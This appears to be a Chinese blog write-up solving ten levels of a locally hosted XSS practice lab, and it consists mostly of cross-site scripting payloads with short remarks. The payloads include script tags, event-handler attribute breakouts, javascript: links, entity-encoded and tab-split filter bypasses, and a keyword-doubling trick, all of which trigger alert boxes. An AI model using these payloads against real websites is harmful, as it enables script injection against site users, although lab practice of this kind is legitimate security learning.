xss题解

依然是自己地服务器http://127.0.0.1/xss

答案:

1.result: payload框加上 <script>alert(1)</script>

2.result: payload框加上 ?keyword=%09+"+onclick%3Dalert(1)>+需要点击一下输入框。<br>

?keyword=%09+" οnmοuseοver="alert(/s/)"+>+

3.result: 输入框输入 ' ' οnmοuseοver=alert(1)//

(onclick点击 onmouseover 滑过)onerror如果有图片出一个弹窗

几种方式:

不逃逸input的payload   " οnmοuseοver="alert(/s/)  鼠标滑过 " οnmοuseοver="alert(/s/)

                                      "οnclick="alert(/xss/)             鼠标点击

逃逸input的payload:"><img src ! οnerrοr= "alert(/xss/)  如果图片指向非空则执行弹窗操作

"><a href="javascript:alert(/s/)">xss</a>   构建超链接引发弹窗

第一题

<script>alert(1)</script>

第二题

?keyword=%09+"onclick%3D+alert(1)>+需要点击一下输入框。<br>

"><script>alert(1);</script>(形成闭合就行)

第三题

' οnclick=alert(1)//

第四题

" οnclick=alert(1)//

第五题

"><a href="javascript:alert(1)">xss</a>

第六题

" " οnfοcus=alert(1) autofocus=" "

第七题

1" oonnclick=alert(1)//

第八题

首先尝试了javascript:alert(1)

用实体编码

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;(十进制)

第九题

javascr%09ipt:alert(1)//http://

javascrip&#x74;:alert(1)//http://

第十题

<input name="keyword" value="test&t_sort="type="text" onclick = "alert(1)" type="hidden">

   <input name="t_history" value="'.'"type="hidden">

   <input name="t_sort" value=""type="text"οnclick="alert(1)"type=hidden>

 

 

 

 

 

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值